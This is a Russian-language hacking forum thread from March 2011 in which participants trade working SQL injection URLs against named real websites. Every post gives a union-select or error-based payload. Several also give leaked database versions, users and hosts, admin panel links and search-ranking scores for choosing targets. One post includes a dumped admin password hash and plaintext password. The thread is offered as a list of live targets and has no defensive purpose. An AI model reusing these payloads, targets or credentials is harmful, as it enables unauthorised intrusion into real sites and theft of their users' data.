 |
|
18.03.2011, 11:19
|
|
Новичок
Регистрация: 21.06.2005
Сообщений: 1
С нами:
10992741
Репутация:
0
|
|
http://www.leoalexander.co.uk/index.asp?id=11+and+1=0+union+all+select+1,2,3,con cat_ws%280x3a,version%28%29,database%28%29,user%28 %29%29,5,6,7+--+
Результаты в тайтле страницы.
Удалось подобрать таблицу users (id, email, country). Парольного поля подобрать не получилось. В таблице данные 338 пользователей.
|
|
|
18.03.2011, 13:07
|
|
Познающий
Регистрация: 19.02.2011
Сообщений: 32
С нами:
8014646
Репутация:
-3
|
|
Вот прикольная инъекция
http://kapitoshka.lg.ua/gallery.php?page=2§ion=99999+union+select+vers ion()--
догадайтесь где версия!)
|
|
|
|
18.03.2011, 14:44
|
|
Новичок
Регистрация: 29.06.2007
Сообщений: 18
С нами:
9930159
Репутация:
17
|
|
Сообщение от asql
Вот прикольная инъекция
http://kapitoshka.lg.ua/gallery.php?page=2§ion=99999+union+select+vers ion()--
догадайтесь где версия!)
" href="pictures/gallery/ 5.0.51a-24+lenny5-log.jpg">"
Код:
http://www.globalalliancepr.org/event.php?id=-8+union+select+concat%28version%28%29,0x3a,database%28%29,0x3a,user%28%29%29
4.1.22:global_geral:global_geraladm@localhost
|
|
|
|
18.03.2011, 15:03
|
|
Участник форума
Регистрация: 02.09.2009
Сообщений: 286
С нами:
8784803
Репутация:
257
|
|
http://www.santaspen.net/content.php?id=-9+union+select+1,2,group_concat(0x3a3a,id_usr,emai l_usr,0x3a3a,password_usr),4,5+from+users_usr+--
Админка: http://www.santaspen.net/admin/index.php
Google PageRank (PR): 3
-----
http://www.flatsminsk.com/info.php?id=-9+union+select+1,2,3,4,5,6,7,8,9,10,11,@@version,1 3+--
Админка: http://www.flatsminsk.com/admin/index.php
Тиц: 30
-----
http://rakurs.rovno.ua/info.php?id=-182+union+select+1,2,3,4,5,6,@@version,8,9,10,11,1 2,13,14+--
Тиц: 20
Google PageRank (PR): 2
-----
http://www.harrisinstitute.com/site/page.php?id=103+union+select+1,2,group_concat(user name,password,0x3a3a),4,5,6,7,8,9,10+from+tbl_user s+--
Админка: http://www.harrisinstitute.com/admin
Google PageRank (PR): 4
Admin:b75054364c277adfdca606e3300413a8:purples0177
|
|
|
|
19.03.2011, 13:04
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
С нами:
8803961
Репутация:
8
|
|
http://teachers.yale.edu/curriculum/search/viewer.php?id=-initiative_09.01.01_u'+union+select+1,2,3,4,concat _ws(0x3a,version(),database(),user(),@@version_com pile_os),6,7,8,9,10,11,12+--+
5.0.77-log:res_teachers1:res_teachers@192.168.101.195:red hat-linux-gnu
Google PageRank (PR): 6
|
|
|
|
19.03.2011, 15:09
|
|
Участник форума
Регистрация: 23.11.2009
Сообщений: 107
С нами:
8666229
Репутация:
44
|
|
Код:
http://www.superav.com/fr/details_final.php?productID=-1+union+select+1,2,group_concat(0x3a,version(),user(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37
5.0.91-community:superav_MyMovie@localhost:superav_movie
вывод в титле. |
|
|
|
20.03.2011, 13:46
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
С нами:
8803961
Репутация:
8
|
|
http://www.nypdangels.com/cop/cop.php?id=-159+and+(select*from(select+count(*)from(select+1+ union+select+2+union+select+3)x+group+by+concat(mi d((select+concat_ws(0x3a,user(),@@version_compile_ os)+from+INFORMATION_SCHEMA.TABLES+limit+1,1),1,64 ),floor(rand(0)*2)))z)+--+
5.0.91-log:nypdange_angels:nypdange_deespc@boscgi0102.eig box.net:unknown-linux-gnu
|
|
|
|
20.03.2011, 16:24
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
С нами:
8803961
Репутация:
8
|
|
http://www.melges.com/?p=news&id=-1074+union+select+concat_ws(0x3a,version(),databas e(),user(),@@version_compile_os)+--+
5.0.77-log:409707_melges:409707_melges@172.17.3.93:redhat-linux-gnu
ТИЦ: 10
Google PageRank (PR): 4
|
|
|
|
20.03.2011, 17:51
|
|
Познающий
Регистрация: 23.08.2009
Сообщений: 93
С нами:
8798638
Репутация:
71
|
|
Моя первая инъекция
Код:
http://www.magadangorod.ru/index.php?do=form&id=-1+union+select+1,2,3,4,5,6,7,8,9,concat%28version%28%29%29,10%20--
5.0.92-community-log
ТИЦ 210
PR 5 |
|
|
|
20.03.2011, 21:08
|
|
Познающий
Регистрация: 23.08.2009
Сообщений: 93
С нами:
8798638
Репутация:
71
|
|
Код:
http://www.korkinskoe.ru/index.php?page_id=-1+union+se lect+1,2,3,4,5,6,7,8,9,10,11,1 2,13,14,15,16,17,concat(username,0x3a,password),19,20,21,22+from+korkino_users
Вывод в тайтле.
5 ветка.
Админка:
http://www.korkinskoe.ru/admin/
тиц 10 |
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
